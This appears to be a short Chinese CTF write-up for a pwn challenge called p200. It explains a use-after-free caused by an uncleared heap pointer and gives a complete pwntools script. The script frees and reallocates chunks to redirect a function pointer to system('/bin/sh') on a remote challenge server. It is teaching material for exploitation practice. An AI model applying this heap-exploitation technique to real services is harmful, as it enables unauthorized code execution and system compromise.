wp
0x00 p200
先分析了程序关键的数据结构
分析程序逻辑,在free堆块的时候没有清空指针,造成悬挂指针,并且程序中给了system('/bin/sh'),可以利用uaf
脚本如下:
1.先free,因为free时候的判断,程序会free掉ptr + 4 这块堆
2.然后再申请到这块ptr +4的堆并往里写能让通过free判断的数据
3.再free,此时可以把整块Ton堆给free
4.再申请得到Tom的堆块,往里写数据,让Tom堆块里的function指针值减8
5.执行1.use 此时其实是执行system('/bin/sh')
from pwn import* # context.log_level = 'debug' # p = process('./p200') addr = 0x0000000000602D70 addr2 = 0x602D58 p = remote('106.75.8.58',12333) p.recvuntil('1. use, 2. after, 3. free\n') p.sendline('3') p.recvuntil('1. use, 2. after, 3. free\n') p.sendline('2') p.recvuntil('Please input the length:\n') p.sendline(str(32)) p.sendline(p64(addr2).ljust(32, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n') p.sendline('2') p.recvuntil('Please input the length:\n') p.sendline(str(32)) p.sendline(p64(addr2).ljust(32, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n') p.sendline('3') p.recvuntil('1. use, 2. after, 3. free\n') p.sendline('2') p.recvuntil('Please input the length:\n') p.sendline(str(0x30)) p.sendline(p64(addr).ljust(0x30, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n') p.sendline('2') p.recvuntil('Please input the length:\n') p.sendline(str(0x30)) p.sendline(p64(addr).ljust(0x30, '\x00')) p.recvuntil('1. use, 2. after, 3. free\n') p.sendline('1') p.interactive()